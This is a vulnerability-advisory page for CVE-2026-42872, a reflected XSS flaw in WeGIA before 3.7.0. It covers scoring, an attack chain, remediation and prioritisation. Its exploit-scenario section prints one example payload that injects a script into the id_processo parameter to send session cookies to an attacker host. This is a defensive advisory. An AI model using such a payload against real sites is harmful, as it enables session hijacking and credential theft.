Skip to main content

WeGIA CVE-2026-42872

| EUVDEUVD-2026-29187 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-11 GitHub_M
6.1
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker crafts malicious URL
  2. Delivery
    Sends link via phishing email
  3. Exploit
    User clicks link while authenticated
  4. Execution
    id_processo payload reflected in HTML
  5. Persist
    JavaScript executes in victim browser
  6. Impact
    Session cookie/credentials stolen

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The vulnerability requires the id_processo parameter to be directly reflected in the HTML response without sanitization. Exploitation requires user interaction: the victim must click a crafted link while authenticated to WeGIA (or the attacker exploits a pre-authenticated session). The vulnerability does NOT require special configuration - it affects default installations. Exploitation is limited by browser same-origin policy (XSS cannot directly read cross-origin cookies unless SameSite is not enforced) and requires the victim to be logged into the WeGIA application. Older browsers without modern CSP or XSS protections are at higher risk.

Impact

CVSS 6.1 with AV:N/AC:L/PR:N/UI:R/S:C reflects moderate real-world risk. The network attack vector and low complexity favor attackers; however, user interaction (clicking a malicious link) is a significant practical barrier. Scope change indicates the XSS impacts resources beyond the vulnerable component (e.g., session tokens, other users' data). The lack of authentication requirement (PR:N) is concerning but partially mitigated by the UI requirement. EPSS data is unavailable for comparison. No KEV status or public POC is confirmed in the input, suggesting either limited visibility or targeted rather than widespread exploitation. For organizations running WeGIA, the risk is elevated if users are targeted with phishing links, but risk is lower for passive adversaries without social engineering capability. The 3.7.0 patch availability significantly reduces risk for patched deployments.

Exploit ScenarioDerived

An attacker crafts a malicious URL containing JavaScript payload in the id_processo parameter (e.g., lista_arquivos_etapa.php?id_processo=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) and sends it via phishing email to a WeGIA user. When the user clicks the link and is authenticated to WeGIA, the injected JavaScript executes in their browser, stealing session cookies or redirecting them to a fake login page to harvest credentials.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 11, 2026

Reflected cross-site scripting (XSS) in WeGIA versions before 3.7.0 allows unauthenticated remote attackers to inject arbitrary JavaScript via the id_processo parameter in lista_arquivos_etapa.php, enabling session hijacking, credential theft, or malicious actions in victim browsers. User interaction (clicking a crafted link) is required. The vulnerability is fixed in version 3.7.0.

RemediationAI

Upgrade WeGIA to version 3.7.0 or later, which includes proper input sanitization and output encoding for the id_processo parameter. Organizations unable to upgrade immediately should implement input validation on the server side (allowlist numeric or alphanumeric values for id_processo) and apply output encoding (HTML entity encoding) to all user-supplied parameters before embedding them in HTML. Additionally, enforce Content Security Policy (CSP) headers to restrict inline script execution, reducing the impact of successful XSS injection. Monitor web application logs for suspicious id_processo values containing script tags or JavaScript event handlers.

Affected VersionsENISA

WeGIA < 3.7.0

Affected Packages

euvd wegia fix: 3.7.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

WeGIA is a PHP-based web application for managing charitable institutions. The vulnerability stems from improper input validation and output encoding in the lista_arquivos_etapa.php script, where the id_processo parameter is directly embedded into HTML without sanitization or encoding. This violates CWE-79 (Improper Neutralization of Input During Web Page Generation) and allows attackers to break out of HTML context and execute arbitrary JavaScript in the victim's browser with the same privileges as the authenticated user. The reflected nature means the payload is delivered via URL and not stored server-side.

Know when Wegia gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Primary rating from Vendor (GitHub_M) · only source for this CVE.

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
Patch available
May 11, 2026 - 20:02 EUVD
CVE Published
May 11, 2026 - 18:32 nvd
MEDIUM 6.1

DescriptionCVE.org

WeGIA is a web manager for charitable institutions. In versions prior to 3.7.0, a reflected Cross-Site Scripting (XSS) vulnerability exists in lista_arquivos_etapa.php due to improper handling of user-supplied input. The id_processo parameter is directly embedded into the HTML without sanitization, allowing attackers to inject arbitrary JavaScript. This can lead to session hijacking, credential theft, or execution of malicious actions in the context of the victim's browser. This vulnerability is fixed in 3.7.0.

Threat Intelligence Overview

EPSS Score
0.0%
Top 89% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Wegia

View all
CVE-2025-50201 CRITICAL POC
9.8 Jun 19

Critical OS Command Injection vulnerability in WeGIA (a web management system for charitable institutions) versions prio

CVE-2025-27140 CRITICAL POC
10.0 Feb 24

WeGIA is a Web manager for charitable institutions. Rated critical severity (CVSS 10.0), this vulnerability is remotely

CVE-2025-26613 CRITICAL POC
10.0 Feb 18

WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity

CVE-2025-55169 CRITICAL POC
10.0 Aug 12

WeGIA is an open source web manager with a focus on the Portuguese language and charitable institutions. Rated critical

CVE-2025-30364 CRITICAL POC
10.0 Mar 27

WeGIA is a Web manager for charitable institutions. Rated critical severity (CVSS 10.0), this vulnerability is remotely

CVE-2025-46828 CRITICAL POC
10.0 May 07

WeGIA is a web manager for charitable institutions. Rated critical severity (CVSS 10.0), this vulnerability is remotely

CVE-2025-26612 CRITICAL POC
10.0 Feb 18

WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity

CVE-2025-26617 CRITICAL POC
10.0 Feb 18

WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity

CVE-2025-26611 CRITICAL POC
10.0 Feb 18

WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity

CVE-2025-26609 CRITICAL POC
10.0 Feb 18

WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity

CVE-2025-26608 CRITICAL POC
10.0 Feb 18

WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity

CVE-2025-26607 CRITICAL POC
10.0 Feb 18

WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy